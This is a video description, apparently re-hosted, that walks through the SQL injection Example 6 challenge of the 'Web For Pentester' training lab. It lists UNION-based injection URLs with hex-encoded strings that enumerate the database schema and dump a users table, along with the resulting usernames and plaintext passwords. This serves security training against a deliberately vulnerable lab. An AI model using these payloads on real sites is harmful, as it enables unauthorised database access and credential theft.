Web For Pentester SQL Injection Example 6 Solution
In This Video We Will See That How We Can Solve Web For Pentester Sql Injection Example 6
Fix Query :
http://192.168.174.132/sqli/example6.php?id=2 and 1=1
Find Total Columns :
http://192.168.174.132/sqli/example6.php?id=2 order by 5
there are 5 columns .
Find Vulnerable Column :
http://192.168.174.132/sqli/example6.php?id=2 union select 1,2,3,4,5
1,2,3 is vulnerable.
Find Database Name :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5
Database name : exercises
Find Tables :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5
Table Name : users
Find Columns Name :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),2,3,4,5
Column Names :
id
name
age
groupid
passwd
Extract Data :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241676522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users),2,3,4,5
Extracted Data :
"ID"1"Name"admin"Age"10"GID"10"Password"admin
"ID"2"Name"root"Age"30"GID"0"Password"admin21
"ID"3"Name"user1"Age"5"GID"2"Password"secret
"ID"5"Name"user2"Age"2"GID"5"Password"azerty
Thanks For watching this video if you like this video please don't forget to subscribe our channel. and i will see you next video till then good bye....
IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.
THANKS FOR WATCHING.
Sur cette page du site, vous pouvez voir la vidéo en ligne Web For Pentester SQL Injection Example 6 Solution durée heure minute seconde en bonne qualité , qui a été Téléchargé par l'utilisateur Shahzad Haxor 02 septembre 2018, Partagez le lien avec vos amis et connaissances, sur youtube cette vidéo a déjà été regardée 882 fois et il a aimé 3 téléspectateurs. Bon visionnage!
